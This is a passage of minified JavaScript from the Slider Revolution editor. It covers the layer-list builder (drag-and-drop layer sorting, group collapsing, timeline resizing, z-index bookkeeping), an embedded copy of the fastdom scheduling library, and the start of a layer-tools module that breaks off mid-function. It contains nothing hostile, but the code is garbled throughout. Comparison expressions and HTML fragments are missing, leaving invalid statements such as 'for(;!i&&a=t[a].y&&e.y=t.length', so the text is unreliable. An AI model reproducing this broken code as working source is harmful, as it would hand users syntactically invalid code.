i=RVS.F.cF(),a=RVS.F.getLayerIcon(e.linebreak?"linebreak":e.type,e.subtype),r=RVS.F.cE({cN:"layerlist_element_innerwrap",ds:{layerid:e.uid,id:e.uid}}),s=RVS.F.cE({cN:"context_left"}),o=RVS.F.cE({cN:"layerlist_element_alias",id:"layerlist_element_alias_"+RVS.S.slideId+"_"+e.uid}),n=RVS.F.cE({cN:"layerlist_toolbar_icon_wrap",id:"llist_too_iw_"+e.uid}),l=RVS.F.cI({cN:"layerlist_toolbar_icon fclayer_withslideend",c:"keyboard_tab",id:"slideendmarker_"+RVS.S.slideId+"_"+e.uid,ds:{layerid:e.uid}}),d=RVS.F.cE({cN:"stimeline"}),S=RVS.F.cE({cN:"frameswrap"}),c=RVS.F.cE({cN:"frame_unvisible_start",id:"frame_unvisible_start_"+RVS.S.slideId+"_"+e.uid}),p=RVS.F.cE({t:"framebg",ds:{layerid:e.uid,bg:"true",layertype:e.type}});if(o.textContent=RVS.F.sanitize_input_ws(e.alias),r.appendChild(s),s.appendChild(RVS.F.cE({cN:"layer_has_action"})),s.appendChild(RVS.F.cE({cN:"layer_raz_info",id:"layer_raz_info_"+RVS.S.slideId+"_"+e.uid,txt:e.position.position+" "+(e.position.zIndex<10?"0":"")+e.position.zIndex+''})),s.appendChild(RVS.F.cE({cN:"layerlist_element_level",icon:{c:"arrow_drop_down"}})),s.appendChild(RVS.F.cE({cN:"layerlist_element_type",icon:{c:a}})),s.appendChild(o),"zone"!==e.type){let t=RVS.F.cE({t:"input",type:"text",id:"layerlist_element_alias_input_"+RVS.S.slideId+"_"+e.uid,cN:"layerlist_element_alias_input indeplayerinput losefocusonenter",ds:{evt:"updateLayerAlias",sanitize:"true",cursortoclick:"true",evtparam:e.uid,r:e.uid+".alias"}});t.value=RVS.F.sanitize_alias(e.alias),s.appendChild(t)}for(var u in s.appendChild(RVS.F.cE({cN:"layerlist_toolbar"})),s.appendChild(RVS.F.cI({cN:"layer_current_visibility",c:"visibility_off",ds:{uid:e.uid}})),s.appendChild(RVS.F.cI({cN:"layer_current_locked material-icons",c:"lock",ds:{uid:e.uid}})),RVS.JHOOKS.createLayerListElement){if(!RVS.JHOOKS.createLayerListElement.hasOwnProperty(u))continue;let t=RVS.JHOOKS.createLayerListElement[u]({layer:e});!1!==t&&null!=t&&s.appendChild(t)}return s.appendChild(n),n.appendChild(l),r.appendChild(d),d.appendChild(RVS.F.cE({cN:"slidelooptimemarker"})),d.appendChild(RVS.F.cE({cN:"fixedscrolltimemarker"})),d.appendChild(S),S.appendChild(c),S.appendChild(p),i.appendChild(r),t&&i.appendChild(RVS.F.cE({t:"ul"})),i}function s(){jQuery(this).hasClass("collapsed")?this.dataset.wascollapsed=1:jQuery(this).addClass("collapsed")}function o(){1!=this.dataset.wascollapsed&&jQuery(this).removeClass("collapsed"),this.dataset.wascollapsed=0}function n(e){t=[],jQuery(e.container+" ."+e.cIdName).each(function(){null!==this.offsetParent&&t.push({dif:36,y:jQuery(this).offset().top,id:this.dataset.id,type:this.dataset.type,puid:this.dataset.puid})})}function l(e){var i=!1,a=0;if(void 0!==t&&t.length>0){for(;!i&&a=t[a].y&&e.y=t.length&&(a=t.length-1),{found:i,id:t[a].id,puid:t[a].puid,y:t[a].y,cover:e.y-parseInt(t[a].y,0),type:t[a].type}}return!1}function d(){var e=jQuery("#tl_layerList_"+RVS.S.slideId+" .layerlist_element");for(var t in e)if(e.hasOwnProperty(t)&&void 0!==e[t]&&void 0!==e[t].dataset&&void 0!==e[t].dataset.id){var i=jQuery(e[t]).parent().closest(".withchildren");if(i.length>0){e[t].dataset.puid=i.data("id");var a=RVS.F.getDeepVal({path:RVS.S.slideId+".layers."+e[t].dataset.id+".group.puid"});if(RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+e[t].dataset.id+".group.puid",val:e[t].dataset.puid}),a!=e[t].dataset.puid&&-1==jQuery.inArray(e[t].dataset.puid,["top","bottom","middle"])){var r=RVS.F.getLayerChildren({layerid:e[t].dataset.puid});RVS.F.setChildrenTimelines({childLayers:r,difference:0}),RVS.F.backupChildren({childLayers:r})}}else e[t].dataset.puid=-1,RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+e[t].dataset.id+".group.puid",val:-1})}}RVS.F.initLayerListBuilder=function(){RVS.C.rb=void 0===RVS.C.rb?jQuery("#rev_builder"):RVS.C.rb,RVS.C.layerListWrap=void 0===RVS.C.layerListWrap?jQuery("#tlLayerListWrap"):RVS.C.layerListWrap,RVS.DOC.on("click dblclick",".layerselector",function(){var e=jQuery(this);return e.hasClass("checked")?(RVS.F.selectLayers({id:this.dataset.id,overwrite:!1,action:"remove"}),e.removeClass("checked")):(RVS.F.selectLayers({id:this.dataset.id,overwrite:!1,action:"add"}),e.addClass("checked")),!1}),RVS.DOC.on("click",".layerlist_element_innerwrap",function(e){if(!this.dataset.ignore&&"slide_bg_anim_trigger"!==this.id){for(var t in RVS.JHOOKS.layerListElementClicked)RVS.JHOOKS.layerListElementClicked.hasOwnProperty(t)&&RVS.JHOOKS.layerListElementClicked[t](this.dataset.id);var i="FRAMEWRAP"===e.target.nodeName||"FFBEFORE"===e.target.nodeName||"FFAFTER"===e.target.nodeName?e.target.dataset.frame:"FRAMEWRAP"===e.target.parentNode.nodeName?e.target.parentNode.dataset.frame:void 0;return void 0!==i?("animation"===RVS.eMode.mode&&"layer"===RVS.eMode.top||RVS.F.mainMode({mode:"slidelayout",forms:["*slidelayout**mode__slidecontent*#form_layer_animation"],set:!0,uncollapse:!0,slide:RVS.S.slideId}),jQuery("framewrap.selected").removeClass("selected"),"FRAMEWRAP"===e.target.nodeName&&(e.target.className+=" selected"),"FRAMEWRAP"===e.target.parentNode.nodeName&&(e.target.parentNode.className+=" selected"),RVS.F.selectLayers({id:this.dataset.id,overwrite:!0,action:"add"}),RVS.F.setKeyframeSelected(i),"animation"===RVS.eMode.mode&&RVS.F.updateKeyframeSelected(i)):-1==e.target.className.indexOf("layerselector")&&-1==e.target.className.indexOf("layerlist_element_level")&&-1==e.target.className.indexOf("material-icons")&&("animation"===RVS.eMode.mode?void 0!==RVS.L[this.dataset.id]&&(RVS.F.selectLayers({id:this.dataset.id,overwrite:!0,action:"add",selectedKeyFrame:RVS.L[this.dataset.id].timeline.frameToIdle}),RVS.F.updateKeyframeSelected(RVS.L[this.dataset.id].timeline.frameToIdle)):window.cmdctrldown?RVS.F.selectLayers({id:this.dataset.id,overwrite:!1,action:"add"}):RVS.F.selectLayers({id:this.dataset.id,overwrite:!0,action:"add"})),jQuery(".directedit").removeClass("directedit"),!1}}),RVS.DOC.on("click",".layerlist_element_level",function(){return jQuery(document.activeElement).blur(),this.className.indexOf("free_positioned_layers_toggle")>=0?jQuery("#mainLayerListWrap_"+RVS.S.slideId).toggleClass("collapsedfreelayers"):jQuery(this).closest("li").toggleClass("collapsed"),RVS.F.saveCollapsedGroups(),!1}),RVS.DOC.on("click",".layer_allcollaps",function(){return this.className.indexOf("collapsed")>=0?(this.className="layer_allcollaps",jQuery("#tl_layerList_"+RVS.S.slideId+" .tllayerlist_element_group.collapsed").removeClass("collapsed"),jQuery("#tl_layerList_"+RVS.S.slideId+" .tllayerlist_element_row.collapsed").removeClass("collapsed"),jQuery("#tl_layerList_"+RVS.S.slideId+" .tllayerlist_element_column.collapsed").removeClass("collapsed")):(this.className="layer_allcollaps collapsed",jQuery("#tl_layerList_"+RVS.S.slideId+" .tllayerlist_element_group").addClass("collapsed"),jQuery("#tl_layerList_"+RVS.S.slideId+" .tllayerlist_element_row").addClass("collapsed"),jQuery("#tl_layerList_"+RVS.S.slideId+" .tllayerlist_element_column").addClass("collapsed")),RVS.F.saveCollapsedGroups(),RVS.F.layerListScrollable("update"),!1}),RVS.DOC.on("dblclick",".layerlist_element_innerwrap",function(){var e=jQuery(this);e.addClass("directedit"),e.find(".indeplayerinput").trigger("focus")}),RVS.DOC.on("click",".indeplayerinput",function(){return!1}),RVS.DOC.on("blur",".indeplayerinput",function(){jQuery(this).closest(".directedit").removeClass("directedit")}),RVS.DOC.on("click dblclick",".fclayer_withslideend",function(){var e=RVS.F.getLayerObjPath({layerid:this.dataset.layerid,frame:"frame_999"}),t=RVS.F.getDeepVal({path:e+"start"}),i=RVS.F.getLayerAliasAndFrame({layerid:this.dataset.layerid,frame:"frame_999"});return t=jQuery(this).hasClass("endswithslide")?parseInt(t,0)-100:10*RVS.F.getSlideLength(),RVS.F.updateSliderObj({path:e+"start",val:t,txt:i+" Start",icon:"access_time"}),RVS.F.updateLayerFrame({layerid:this.dataset.layerid,frame:"frame_999"}),!1}),RVS.DOC.on("click","#timeline_collapser",function(){clearTimeout(window.closeTimeLineTimer),RVS.F.expandCollapseTimeLine(!0,"close")}),RVS.C.layerListWrap.on("mouseenter",function(){window.closeTimeLineTimer=setTimeout(function(){RVS.F.expandCollapseTimeLine(!0,"open")},400)}),RVS.C.layerListWrap.on("mouseleave",function(){clearTimeout(window.closeTimeLineTimer)}),RVS.S.llcache=void 0===RVS.S.llcache?{}:RVS.S.llcache,RVS.DOC.on("updateLayerAlias",function(e,t){document.getElementById("layerlist_element_alias_"+RVS.S.slideId+"_"+t).innerHTML=RVS.L[t].alias,"group"===RVS.L[t].type&&(document.getElementById("_group_head_title_"+RVS.S.slideId+"_"+t).innerHTML=RVS.L[t].alias),RVS.selLayers[0]==t&&(document.getElementById("updateLayerSingleAliasInput").value=RVS.L[t].alias)}),RVS.DOC.on("beforeSlideChange",function(e,t){RVS.F.stopAndPauseAllLayerAnimation(),void 0!==RVS.S.llcache[RVS.S.slideId]&&void 0!==RVS.S.llcache[RVS.S.slideId].tlLayerList&&RVS.S.llcache[RVS.S.slideId].tlLayerList.parentElement.removeChild(RVS.S.llcache[RVS.S.slideId].tlLayerList)}),RVS.DOC.on("updateScrollBars",function(e,t){RVS.F.layerListScrollable("update"),RVS.C.layerListWrap.trigger("ps-scroll-x"),RVS.C.layerListWrap.trigger("ps-scroll-y")}),RVS.TL.TL.resizable({handles:"n",minHeight:71,maxHeight:600,start:function(e,t){RVS.TL.TL.addClass("inResize")},resize:function(e,t){tpGS.gsap.set("#tlLayerListWrap",{height:t.size.height-36+"px"}),tpGS.gsap.set("#timeline",{top:"0px"}),RVS.ENV.globVerOffset=t.size.height,RVS.DOC.trigger("updatesliderlayout","layerlist.js-355"),window.timeline_in_resize=!0},stop:function(e,t){RVS.TL.TL.removeClass("inResize"),tpGS.gsap.set("#tlLayerListWrap",{height:t.size.height-36+"px"}),RVS.V.timeline_height=t.size.height,RVS.DOC.trigger("updateScrollBars"),window.timeline_in_resize=!1,RVS.F.expandCollapseTimeLine(!0,"open")}}),RVS.F.layerListScrollable("init")},RVS.F.updateZoneZIndexes=function(){tpGS.gsap.set(RVS.C.rZone.top,{zIndex:RVS.L.top.position.zIndex}),tpGS.gsap.set(RVS.C.rZone.bottom,{zIndex:RVS.L.bottom.position.zIndex}),tpGS.gsap.set(RVS.C.rZone.middle,{zIndex:RVS.L.middle.position.zIndex})},RVS.F.buildLayerLists=function(e){RVS.L=RVS.SLIDER[RVS.S.slideId].layers,!0!==i[RVS.S.slideId]&&(i[RVS.S.slideId]=!0,RVS.F.preloadUsedFonts());var t=0;RVS.F.updateColumnBreaksChildren(),void 0===RVS.L.top&&(t=function(e){var t=0;for(var i in RVS.L)RVS.L.hasOwnProperty(i)&&"row"===RVS.L[i].type&&(t=t=0&&(t=RVS.F.getLayerChildren({layerid:RVS.L[i].uid,kids:t,ignoreframes:e.ignoreframes,onelevel:e.onelevel}))}return e.removeZones&&(delete t.top,delete t.bottom,delete t.middle),t},RVS.F.hasChildren=function(e){var t=!1;for(var i in RVS.L)RVS.L.hasOwnProperty(i)&&!t&&(t=RVS.L[i].group.puid==e);return t},RVS.F.getVisibleLayersInList=function(){var e=0;for(var t in RVS.L)RVS.L.hasOwnProperty(t)&&(-1===RVS.L[t].group.puid?e++:(-1!==RVS.L[RVS.L[t].group.puid].group.puid||jQuery("#tllayerlist_element_"+RVS.S.slideId+"_"+RVS.L[t].group.puid).hasClass("collapsed"))&&(-1===RVS.L[RVS.L[t].group.puid].group.puid||jQuery("#tllayerlist_element_"+RVS.S.slideId+"_"+RVS.L[RVS.L[t].group.puid].group.puid).hasClass("collapsed"))||e++);return e},RVS.F.expandCollapseTimeLine=function(t,i,a,r){var s,o;window.timeline_in_resize||"done"!==RVS.S.ReadyToShowAll||(s=o=RVS.TL.TL.height(),t&&((s=s<=76&&"close"!==i||"open"===i?"auto"===RVS.V.timeline_height?Math.max(RVS.V.timeline_minOpenHeight,window.innerHeight-RVS.S.ulDIM.height-65):RVS.V.timeline_height:76)!==o?a?(RVS.TL.TL[0].style.height=s+"px",RVS.ENV.globVerOffset=s,!0!==r&&RVS.DOC.trigger("updatesliderlayout","layerlist.js-142")):tpGS.gsap.to(RVS.TL.TL,.3,{height:s,ease:"power3.out",onUpdate:function(){RVS.ENV.globVerOffset=tpGS.gsap.getProperty(RVS.TL.TL[0],"height"),RVS.DOC.trigger("updatesliderlayout","layerlist.js-142")}}):RVS.ENV.globVerOffset=s,a?RVS.C.layerListWrap[0].style.height=s-36+"px":tpGS.gsap.to(RVS.C.layerListWrap,.15,{height:s-36,ease:"power3.out",onComplete:function(){RVS.DOC.trigger("updateScrollBars")}})),RVS.C.theEditor[0].style.paddingBottom=s+"px",s>76?jQuery("#timeline_collapser").show():jQuery("#timeline_collapser").hide(),clearTimeout(RVS.S.updateTimeLineHeight),e!==s&&(RVS.S.updateTimeLineHeight=setTimeout(function(){RVS.ENV.globVerOffset=s,!0!==r&&RVS.DOC.trigger("updatesliderlayout","layerlist.js-157"),e=s},170)))},RVS.F.getLayerOrder=function(){return a([],-1)},RVS.F.getLayerBeforeZIndex=function(e){var t,i,r=a([],RVS.L[e].group.puid);switch(RVS.L[e].type){case"row":case"column":for(i in r)r.hasOwnProperty(i)&&r[i].sortRVS.L[t].group.groupOrder)&&(t=r[i].id);break;default:for(i in r)r.hasOwnProperty(i)&&r[i].zIndex>RVS.L[e].position.zIndex&&(void 0===t||r[i].zIndexRVS.L[e].group.groupOrder&&(void 0===t||r[i].sortRVS.L[t].position.zIndex)&&(t=r[i].id)}return t},RVS.F.updateCoveredTimelines=function(){var e=RVS.TL.TL.offset().left;RVS.TL.ct.offset().left-e<290?RVS.TL.ct[0].classList.add("covered"):RVS.TL.ct[0].classList.remove("covered"),RVS.TL.mt.offset().left-e<290?RVS.TL.mt[0].classList.add("covered"):RVS.TL.mt[0].classList.remove("covered"),RVS.SLIDER[RVS.S.slideId].slide.timeline.loop.set&&(RVS.TL.slte.offset().left-e<290?RVS.TL.slte[0].classList.add("covered"):RVS.TL.slte[0].classList.remove("covered"),RVS.TL.slts.offset().left-e<290?RVS.TL.slts[0].classList.add("covered"):RVS.TL.slts[0].classList.remove("covered"))},RVS.F.layerListScrollable=function(t){if(void 0===t||"init"===t)RVS.TL._scrollLeft=0,RVS.C.layerListWrap.RSScroll({wheelPropagation:!0,suppressScrollX:!1,minScrollbarLength:30}).on("ps-scroll-y",function(){n({container:"#tl_layerList_"+RVS.S.slideId,cIdName:"tllayerlist_element"})}).on("ps-scroll-x",function(){RVS.TL._scrollLeft=this.scrollLeft,tpGS.gsap.set([jQuery("#tlLayerListWrap .context_left"),"#the_st_cl","#hovertime",".timeline_left_container"],{x:this.scrollLeft}),tpGS.gsap.set(["#timeline_top_toolbar"],{x:0-this.scrollLeft}),RVS.F.updateHoverTime({pos:!1,cont:!0}),RVS.F.updateCoveredTimelines()});else{if("scrollToSelected"===t){var i=jQuery(".tllayerlist_element.checked").first().length>0?jQuery(".tllayerlist_element.checked").first().offset().top:0;e=void 0===e?RVS.TL.TL.height():e,i>RVS.S.winh-e&&i+500?"actionmarked ":" ")+t.cIdName+" layerlist_element "+t.cIdName+"_"+n.type+" "+n.type+"_"+n.uid+l,id:t.cIdName+"_"+RVS.S.slideId+"_"+n.uid,ds:{puid:n.group.puid,type:n.type,id:n.uid}}),o&&0===s.list.length&&(i.dataset.status="empty"),i.appendChild(r(RVS.L[s.id],o)),o&&e({list:s.list,container:i.querySelector("ul"),showEmpty:!1,cIdName:t.cIdName}),"tllayerlist_element"===t.cIdName&&"top"!==s.id&&"middle"!==s.id&&"bottom"!==s.id&&RVS.F.addLayerFrames(RVS.L[s.id],i),t.container.appendChild(i)}t.showEmpty&&0===t.list.length&&((i=RVS.F.cE({t:"li",cN:t.cIdName+" nolayeravailable"})).innerHTML='
    not_interested
    No Layer Available
    ',t.container.appendChild(i))}({list:i,container:RVS.S.llcache[RVS.S.slideId].tlLayerList,showEmpty:!0,cIdName:"tllayerlist_element"}),RVS.C.layerListWrap[0].appendChild(RVS.S.llcache[RVS.S.slideId].tlLayerList),function(e){e.length>0?jQuery(".layerlist_element.nolayeravailable").hide():jQuery(".layerlist_element.nolayeravailable").show()}(i),function(e){var i,a,r,d,S=0;jQuery(e.container+" ."+e.cIdName).draggable({helper:"clone",opacity:.5,axis:"y",start:function(t,o){if("zone"!=this.dataset.type){"row"===this.dataset.type&&RVS.TL.TL.addClass("layer_in_drag");var l=jQuery(RVS.S.llcache[RVS.S.slideId][e.cacheSub]);o.helper.width(l.width()),RVS.F.updateRelAbsZinTXT(this.dataset.id),r=jQuery(e.container).closest(".ps"),i=r.height(),RVS.S.DaD=null==RVS.S.DaD?{}:RVS.S.DaD,RVS.S.DaD.dragInListFrom=RVS.L[this.dataset.id].group.puid,RVS.S.DaD.dragInListFromType=void 0!==RVS.L[RVS.S.DaD.dragInListFrom]?RVS.L[RVS.S.DaD.dragInListFrom].type:void 0,RVS.S.DaD.dragInListTempPos=RVS.L[this.dataset.id].position.position,"column"===this.dataset.type&&jQuery("#"+e.cIdName+"_"+RVS.S.slideId+"_"+this.dataset.puid).find("."+e.cIdName+"_column").each(s),"row"===this.dataset.type&&jQuery("."+e.cIdName+"_row").each(s),r.length>0&&r.hasClass("ps--active-y")&&RVS.F.layerListScrollable("update"),setTimeout(function(){n(e)},50),d=setInterval(function(){r.length>0&&r.hasClass("ps--active-y")&&(a=l.offset().top,S0?(r[0].scrollTop--,n(e)):S>parseInt(a,0)+parseInt(i,0)+r[0].scrollTop-20&&r[0].scrollTop11&&r.cover<24?"incolumntopdrop":"afteritemdrop"}else r.cover<18&&"zone"===r.type&&"top"===r.id&&(s="beforeitemdrop"),"zone"===r.type&&"bottom"===r.id&&(s="afterzonedrop")}var n,d=document.getElementById(e.cIdName+"_"+RVS.S.slideId+"_"+r.id);"group"!==r.type&&"column"!==r.type&&"-1"!==r.puid&&"column"==RVS.L[r.puid].type||"column"==r.type&&"column"==this.dataset.type?null!=(n=document.getElementById(e.cIdName+"_"+RVS.S.slideId+"_"+r.puid))&&n.classList.add("grouptodropinlist"):"column"==r.type&&"group"!==this.dataset.type&&null!=(n=document.getElementById(e.cIdName+"_"+RVS.S.slideId+"_"+r.id))&&n.classList.add("grouptodropinlist"),""+r.puid!="-1"&&"group"==this.dataset.type&&void 0!==RVS.L[r.puid]&&(""+RVS.L[r.puid].group.puid!="-1"||"beforeitemdrop"!==s&&"afteritemdrop"!==s)||(""+r.puid=="-1"||"group"!=RVS.L[r.puid].type||"group"===r.type&&"beforeitemdrop"!=s&&"group"!=this.dataset.type?s.indexOf("incolumntopdrop")>=0&&"group"==r.type&&d.classList.add("grouptodropinlist"):null!=(n=document.getElementById(e.cIdName+"_"+RVS.S.slideId+"_"+r.puid))&&n.classList.add("grouptodropinlist")),""!==s&&void 0!==d&&d.classList.add(s)}}},stop:function(i,a){if("zone"!=this.dataset.type){var r=this.dataset.id;RVS.TL.TL.removeClass("layer_in_drag"),clearInterval(d),jQuery("."+e.cIdName).removeClass("beforeitemdrop").removeClass("afteritemdrop").removeClass("incolumntopdrop").removeClass("incolumndrop"),RVS.S.llcache[RVS.S.slideId][e.cacheSub].classList.remove("sortToTheEnd"),jQuery(".grouptodropinlist").removeClass("grouptodropinlist"),"column"===this.dataset.type&&jQuery("#"+e.cIdName+"_"+RVS.S.slideId+"_"+this.dataset.puid).find("."+e.cIdName+"_column").each(o),"row"===this.dataset.type&&jQuery("."+e.cIdName+"_row").each(o);var s,n=l({y:i.pageY});if(!1!==n){if(i.pageY=18&&("top"===n.id||"bottom"===n.id||"middle"===n.id)&&(s="zone"),n.cover<18&&"middle"===n.id&&(n.id="top",s="zonebottom"),n.cover<18&&"bottom"===n.id&&(n.id="middle",s="zonebottom");break;case"column":n.puid===this.dataset.puid&&(s=n.cover<18?"before":"after");break;default:var S=RVS.F.isParent(r,n.id);s="group"==this.dataset.type&&S?s:"group"==this.dataset.type&&"group"==n.type&&"-1"!==n.puid?n.cover<17?"before":"":"group"!=n.type||RVS.F.hasChildren(n.id)?n.cover<18&&"column"!==n.type&&"row"!==n.type&&("zone"!==n.type||"top"===n.id)?"before":n.cover<18&&"column"===n.type?"column":n.cover>17&&"row"!==n.type&&"column"!==n.type&&"group"!==n.type&&"zone"!==n.type?"after":n.cover>17&&"column"===n.type?"column":n.cover>17&&"group"===n.type?"group":-1!=n.puid&&"bottom"!==n.puid||"zone"!==n.type?s:"after":n.cover<12?"before":n.cover>11&&n.cover<24?"group":"after"}}else switch(this.dataset.type){case"row":case"column":break;default:s="after",n.id=function(e){var t,i=0;for(var a in e)e.hasOwnProperty(a)&&e[a].y>=i&&(t=e[a],i=e[a].y);return t}(t).id}"absolute"==RVS.S.DaD.dragInListTempPos&&"column"===s&&"column"!==RVS.S.DaD.dragInListFromType&&RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+r+".position.position",val:"relative",uid:r}),""!==s&&RVS.F.sortLayer({layer:r,target:s,dropto:s,env:n.id}),RVS.F.updateLayerPositionClass(r),RVS.F.selectedLayersVisualUpdate()}}},revert:"true"})}({container:"#tl_layerList_"+RVS.S.slideId,cacheSub:"tlLayerList",cIdName:"tllayerlist_element"}),RVS.F.updateCollapsedGroups(),RVS.F.checkLockedLayers(),RVS.F.checkShowHideLayers()},RVS.F.updateRelAbsZinTXT=function(e){void 0===e&&RVS.L[void 0!==e]||requestAnimationFrame(function(){RVS.H[e].relabszin=void 0===RVS.H[e].relabszin?document.getElementById("layer_raz_info_"+RVS.S.slideId+"_"+e):RVS.H[e].relabszin,RVS.H[e].relabszin.innerHTML=RVS.L[e].position.position+" "+(RVS.L[e].position.zIndex<10?"0":"")+RVS.L[e].position.zIndex+''})},RVS.F.sortLayerStepOne=function(e){if(e.env!==e.layer){var t="#tllayerlist_element_"+RVS.S.slideId+"_",i=jQuery(t+e.layer);switch(e.target){case"after":"group"==RVS.L[e.layer].type&&RVS.F.getLayerDepth({layer:e.env})>1&&(e.env=null==RVS.L[RVS.L[e.env].group.puid]||"column"!==RVS.L[RVS.L[e.env].group.puid].type?RVS.L[e.env].group.puid:e.env),"row"!==RVS.L[e.layer].type&&"row"===RVS.L[e.env].type?i.appendTo("#tl_layerList_"+RVS.S.slideId):i.insertAfter(t+e.env);break;case"before":"group"==RVS.L[e.layer].type&&RVS.F.getLayerDepth({layer:e.env})>1&&(e.env=null==RVS.L[RVS.L[e.env].group.puid]||"column"!==RVS.L[RVS.L[e.env].group.puid].type?RVS.L[e.env].group.puid:e.env),"row"!==RVS.L[e.layer].type&&"row"===RVS.L[e.env].type?i.appendTo("#tl_layerList_"+RVS.S.slideId):i.insertBefore(t+e.env);break;case"zone":RVS.L[e.env].group.puid!==e.env&&i.prependTo(t+e.env+">ul");break;case"zonebottom":"row"==RVS.L[e.layer].type?RVS.L[e.env].group.puid!==e.env&&i.appendTo(t+e.env+">ul"):i.appendTo("#tl_layerList_"+RVS.S.slideId);break;case"firstingroup":case"group":case"column":i.prependTo(t+e.env+">ul");break;case"columnend":i.appendTo(t+e.env+">ul");break;case"veryend":"row"==RVS.L[e.layer].type?i.appendTo(t+"bottom>ul"):i.appendTo("#tl_layerList_"+RVS.S.slideId)}}},RVS.F.sortLayerStepTwo=function(e){if("column"===e.dropto&&"absolute"!==e.pospos&&(RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+e.layer+".position.x.#size#.v",val:0}),RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+e.layer+".position.y.#size#.v",val:0}),RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+e.layer+".position.horizontal.#size#.v",val:"left"}),RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+e.layer+".position.vertical.#size#.v",val:"top"})),void 0!==e.resetPosition&&("group"===e.dropto||"root"===e.dropto||"column"===e.dropto&&"absolute"==e.pospos)){"root"===e.dropto&&(RVS.L[e.layer].position.ingrouppositoin=RVS.L[e.layer].position.position,RVS.L[e.layer].position.position="absolute");var t=e.resetPosition.x-RVS.H[e.layer].w_offsetcache.horizontal,i=e.resetPosition.y-RVS.H[e.layer].w_offsetcache.vertical;RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+e.layer+".position.x.#size#.v",val:t}),RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+e.layer+".position.y.#size#.v",val:i}),RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+e.layer+".position.horizontal.#size#.v",val:"left"}),RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+e.layer+".position.vertical.#size#.v",val:"top"})}},RVS.F.sortAllSelectedLayers=function(e){var t,i=jQuery.extend({},e),a=RVS.selLayers.length-1;for(t in RVS.selLayers)RVS.selLayers.hasOwnProperty(t)&&(i.layer=RVS.selLayers[a-t],"row"!==RVS.L[i.layer].type&&"column"!==RVS.L[i.layer].type&&"groupi"!==RVS.L[i.layer].type&&RVS.F.sortLayerStepOne(i));for(t in RVS.selLayers)RVS.selLayers.hasOwnProperty(t)&&(i.layer=RVS.selLayers[a-t],i.positionoffset=t,"row"!==RVS.L[i.layer].type&&"column"!==RVS.L[i.layer].type&&"groupi"!==RVS.L[i.layer].type&&RVS.F.sortLayerStepTwo(i));d(),RVS.F.updateZIndexTable(),RVS.F.reOrderHTMLLayers()},RVS.F.sortLayer=function(e){RVS.F.sortLayerStepOne(e),setTimeout(function(){RVS.F.openBackupGroup({id:"layersorting",txt:"Layer Sorting",icon:"sort_by_alpha"}),RVS.F.sortLayerStepTwo(e),d(),RVS.F.updateZIndexTable(),RVS.F.closeBackupGroup({id:"layersorting"}),RVS.F.reOrderHTMLLayers(),e.redraw&&RVS.F.updateSelectedHtmlLayers(!0),RVS.F.updateEasyInputs({container:jQuery(".layer_settings_collector"),path:RVS.S.slideId+".layers.",trigger:"init",multiselection:!0}),RVS.F.updateLayerPositionClass(e.uid),RVS.F.selectedLayersVisualUpdate()},50)},RVS.F.getChildrenAmount=function(e){var t=RVS.F.getLayerChildren({layerid:"root"==e?"-1":e,ignoreframes:!0,onelevel:!0,removeZones:!0}),i=0;for(var a in t)t.hasOwnProperty(a)&&i++;return i},RVS.F.updateZIndexTable=function(e){var t=jQuery("#tl_layerList_"+RVS.S.slideId+" .layerlist_element"),i={};for(var a in t){var r;if(t.hasOwnProperty(a)&&void 0!==t[a]&&void 0!==t[a].dataset&&void 0!==t[a].dataset.id)i[r="-1"==(r=RVS.L[t[a].dataset.id].group.puid)||-1===r?"root":r]=void 0===i[r]?{min:0,max:RVS.F.getChildrenAmount(r)+5}:i[r],RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+t[a].dataset.id+".position.zIndex",val:i[r].max}),RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+t[a].dataset.id+".group.groupOrder",val:"root"==r||void 0!==RVS.L[r]&&"group"===RVS.L[r].type?i[r].max:i[r].min}),"zone"!==RVS.L[t[a].dataset.id].type&&tpGS.gsap.set(RVS.H[t[a].dataset.id].w,{zIndex:i[r].max}),i[r].max--,i[r].min++}RVS.F.updateZoneZIndexes()}}(),function(e){"use strict";function t(){var t=this;t.reads=[],t.writes=[],t.raf=s.bind(e)}function i(e){e.scheduled||(e.scheduled=!0,e.raf(function(e){var t,r=e.writes,s=e.reads;try{s.length,a(s),r.length,a(r)}catch(e){t=e}if(e.scheduled=!1,(s.length||r.length)&&i(e),t){if(t.message,!e.catch)throw t;e.catch(t)}}.bind(null,e)))}function a(e){for(var t;t=e.shift();)t()}function r(e,t){var i=e.indexOf(t);return!!~i&&!!e.splice(i,1)}var s=e.requestAnimationFrame||e.webkitRequestAnimationFrame||e.mozRequestAnimationFrame||e.msRequestAnimationFrame||function(e){return setTimeout(e,16)};t.prototype={constructor:t,measure:function(e,t){var a=t?e.bind(t):e;return this.reads.push(a),i(this),a},mutate:function(e,t){var a=t?e.bind(t):e;return this.writes.push(a),i(this),a},clear:function(e){return r(this.reads,e)||r(this.writes,e)},extend:function(e){if("object"!=typeof e)throw new Error("expected object");var t=Object.create(this);return function(e,t){for(var i in t)t.hasOwnProperty(i)&&(e[i]=t[i])}(t,e),t.fastdom=this,t.initialize&&t.initialize(),t},catch:null};var o=e.fastdom=e.fastdom||new t;"function"==typeof define?define(function(){return o}):"object"==typeof module&&(module.exports=o)}("undefined"!=typeof window?window:this), /*! * REVOLUTION 6.0.0 EDITOR LAYERTOOLS JS * @version: 1.0 (01.07.2019) * @author ThemePunch */ function(){RVS.RSCBA={a:["width","height","maxWidth","maxHeight","minWidth","minHeight"],ai:["layer_width","layer_height","layer_max_width","layer_max_height","layer_min_width","layer_min_height"],t:["fontSize","lineHeight","letterSpacing"],ti:["layer_font_size_idle","layer_line_height_idle","layer_letter_spacing_idle"],f:["transform","mask","chars","words","lines"],sh:["hoffset","voffset","blur","spread"]};var e,t,i=["horizontal","vertical","borderStyle","width","height","x","y","lineHeight","fontSize","color","textAlign","fontWeight","letterSpacing","blur","hoffset","voffset","spread","frameX","frameY","charsX","charsY","wordsX","wordsY","linesX","linesY","whiteSpace"];function a(e){var 